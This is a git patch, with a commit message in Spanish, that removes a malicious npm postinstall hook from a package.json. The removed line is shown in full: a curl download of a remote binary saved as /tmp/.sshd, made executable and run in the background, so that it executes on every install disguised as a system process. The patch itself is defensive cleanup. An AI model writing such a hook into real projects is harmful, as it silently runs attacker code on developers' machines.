From aaf36b33ce31659b76435b86f7620adfdfc68eaf Mon Sep 17 00:00:00 2001
From: Lizandro Guarnizo <77708265+lizandrogd@users.noreply.github.com>
Date: Tue, 11 Aug 2026 21:42:36 -0500
Subject: [PATCH] security: elimina postinstall malicioso en package.json
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

El script postinstall descargaba y ejecutaba un binario arbitrario
(github.com/parikhpreyash4/systemd-network-helper-*) a /tmp/.sshd en
cada npm install, disfrazado de proceso legítimo del sistema.
Introducido en 154a2fa ("chore: postinstall validation").

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
---
 package.json | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/package.json b/package.json
index 430d039..e2b3724 100755
--- a/package.json
+++ b/package.json
@@ -10,8 +10,7 @@
     "watch-poll": "mix watch -- --watch-options-poll=1000",
     "hot": "mix watch --hot",
     "production": "mix --production",
-    "prod": "mix --production",
-    "postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
+    "prod": "mix --production"
   },
   "keywords": [],
   "author": "",